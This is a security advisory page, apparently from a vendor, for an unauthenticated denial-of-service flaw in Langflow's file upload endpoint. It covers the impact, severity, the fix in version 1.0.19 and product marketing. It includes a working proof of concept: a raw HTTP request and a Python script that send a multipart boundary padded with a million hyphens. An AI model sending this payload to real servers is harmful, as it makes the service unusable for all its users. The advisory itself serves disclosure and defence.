Summary
Langflow: Unauthenticated DoS through multipart form boundary file upload
Full technical description
An attacker can send a /api/v1/files/upload/ request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time.
Details
https://github.com/langflow-ai/langflow/blob/v1.0.18/src/backend/base/langflow/api/v1/files.py#L40
The file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users.
Additionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID.
PoC
An attacker makes this request to upload a file without valid authentication information or a valid flow ID:
POST /api/v1/files/upload/test HTTP/1.1
Host: 127.0.0.1:7860
Content-Length: 3000192
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryorGBAKSkv5wR6WqJ
Accept: application/json, text/plain, */*
Origin: http://127.0.0.1:7860
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundaryorGBAKSkv5wR6WqJ
Content-Disposition: form-data; name="file"; filename="dos.txt"
Content-Type: text/plain
DoS in progress!
------WebKitFormBoundaryorGBAKSkv5wR6WqJ------------<insert a large amount of hyphens such as 1,000,000>
Here is the request in python:
import requests
url = "http://127.0.0.1:7860/api/v1/files/upload/test"
headers = {
"Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ"
}
data = (
"-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n"
"Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n"
"Content-Type: text/plain\r\n\r\n"
"DoS in progress\r\n"
"-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n"
)
response = requests.post(url, headers=headers, data=data)
The app will then be stuck in the "server is busy" state for all users:
Impact
Sending this request will result in the server being unusable for all users for an infinite amount of time because the request can be repeated as much as you want.
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
CVE-2026-55446 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.0.19); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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See it in your environmentNew to Kodem? Get a demo →Remediation advice
Fixed in 1.0.19 via PR #3923. A check_boundary HTTP middleware was added that validates the multipart boundary (^[\w\-]{1,70}$) and rejects malformed requests, including the oversized-hyphen payload, with HTTP 422 before the body is parsed. The upload endpoint also gained an authentication and flow-ownership check (get_current_active_user + 403 on mismatch), closing the unauthenticated access vector. Upgrade to 1.0.19 or later.
Frequently Asked Questions
- What is CVE-2026-55446? CVE-2026-55446 is a high-severity uncontrolled resource consumption vulnerability in langflow (pip), affecting versions < 1.0.19. It is fixed in 1.0.19. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is CVE-2026-55446? CVE-2026-55446 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of langflow are affected by CVE-2026-55446? langflow (pip) versions < 1.0.19 is affected.
- Is there a fix for CVE-2026-55446? Yes. CVE-2026-55446 is fixed in 1.0.19. Upgrade to this version or later.
- Is CVE-2026-55446 exploitable, and should I be worried? Whether CVE-2026-55446 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-55446 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-55446? Upgrade
langflowto 1.0.19 or later.